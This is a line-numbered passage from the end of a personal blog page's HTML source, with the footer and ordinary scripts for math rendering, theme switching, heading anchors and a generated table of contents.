580            <li><a href="https://github.com/arnaucube"
581                   style="color:gray;text-decoration:none;"
582                   target="_blank">github.com/arnaucube</a>
583            </li>
584          </ul>
585        </div>
586        <div class="row" style="display:inline-block;">
587          Blog made with <a href="http://github.com/arnaucube/blogo/"
588                            target="_blank" style="color: gray;text-decoration:none;">Blogo</a>
589        </div>
590      </div>
591    </footer>
592
593    <script>
594    </script>
595    <script src="js/external-links.js"></script>
596    <script>hljs.initHighlightingOnLoad();</script>
597    <script defer src="js/katex/katex.min.js"></script>
598    <script defer src="js/katex/auto-render.min.js"></script>
599    <script>
600      document.addEventListener("DOMContentLoaded", function() {
601        renderMathInElement(document.body, {
602          displayMode: false,
603          // customised options
604          // • auto-render specific keys, e.g.:
605          delimiters: [
606            {left: '$$', right: '$$', display: true},
607            {left: '$', right: '$', display: false},
608            {left: "\\[", right: "\\]", display: true},
609            {left: "\\(", right: "\\)", display: false},
610            {left: "\\begin{equation}", right: "\\end{equation}", display: true}
611          ],
612          // • rendering keys, e.g.:
613          throwOnError : true
614        });
615      });
616
617      ///
618      let theme = localStorage.getItem("theme");
619      if ((theme === "light-theme")||(theme==null)) {
620          theme = "light-theme";
621          document.getElementById("themeSwitcher").checked = false;
622      } else if (theme === "dark-theme") {
623          theme = "dark-theme";
624          document.getElementById("themeSwitcher").checked = true;
625      }
626      document.body.className = theme;
627      localStorage.setItem("theme", theme);
628
629      function switchTheme() {
630        theme = localStorage.getItem("theme");
631        if (theme === "light-theme") {
632          theme = "dark-theme";
633          document.getElementById("themeSwitcher").checked = true;
634        } else {
635          theme = "light-theme";
636          document.getElementById("themeSwitcher").checked = false;
637        }
638        document.body.className = theme;
639        localStorage.setItem("theme", theme);
640
641        console.log(theme);
642      }
643    </script>
644    <script>
645    function tagLinks(tagName) {
646      var tags = document.getElementsByTagName(tagName);
647      for (var i=0, hElem; hElem =  tags[i]; i++) {
648        if (hElem.parentNode.className=="row postThumb") {
649          continue;
650        }
651        hElem.id = hElem.innerHTML.toLowerCase().replace(" ", "-");
652        hElem.innerHTML = "<a style='color:black!important;' href='#"+hElem.id+"'>"+hElem.innerHTML+"</a>";
653      }
654    }
655    tagLinks("h2");
656    tagLinks("h3");
657    tagLinks("h4");
658    tagLinks("h5");
659    </script>
660    <script>
661function generateTOC(tocContainerId = "toc") {
662    const tocContainer = document.getElementById(tocContainerId);
663    if (!tocContainer) return;
664
665    const headings = document.querySelectorAll("h2, h3, h4, h5, h6");
666    if (!headings.length) return;
667
668    // Generate IDs if missing
669    headings.forEach((heading, index) => {
670        if (!heading.id) {
671            heading.id =
672                heading.textContent
673                    .trim()
674                    .toLowerCase()
675                    .replace(/[^\w\s-]/g, "")
676                    .replace(/\s+/g, "-") +
677                "-" +
678                index;
679        }
680    });
681
682    const toc = document.createElement("ul");
683    let currentLevel = 1;
684    let currentList = toc;
685    const stack = [toc];
686
687    headings.forEach((heading) => {
688        const level = parseInt(heading.tagName.substring(1), 10);
689
690        const li = document.createElement("li");
691        const a = document.createElement("a");
692
693        a.href = "#" + heading.id;
694        a.textContent = heading.textContent;
695
696        li.appendChild(a);
697
698        if (level > currentLevel) {
699            for (let i = currentLevel; i < level; i++) {
700                const nestedList = document.createElement("ul");
701
702                const lastLi =
703                    currentList.lastElementChild ||
704                    currentList.appendChild(document.createElement("ul"));
705
706                lastLi.appendChild(nestedList);
707
708                stack.push(nestedList);
709                currentList = nestedList;
710            }
711        } else if (level < currentLevel) {
712            for (let i = currentLevel; i > level; i--) {
713                stack.pop();
714            }
715            currentList = stack[stack.length - 1];
716        }
717
718        currentList.appendChild(li);
719        currentLevel = level;
720    });
721
722    tocContainer.innerHTML = "";
723    tocContainer.appendChild(toc);
724}
725
726document.addEventListener("DOMContentLoaded", () => {
727    generateTOC();
728});
729    </script>
730    <script src="js/mermaid.min.js"></script>
731
732  </body>
733</html>
734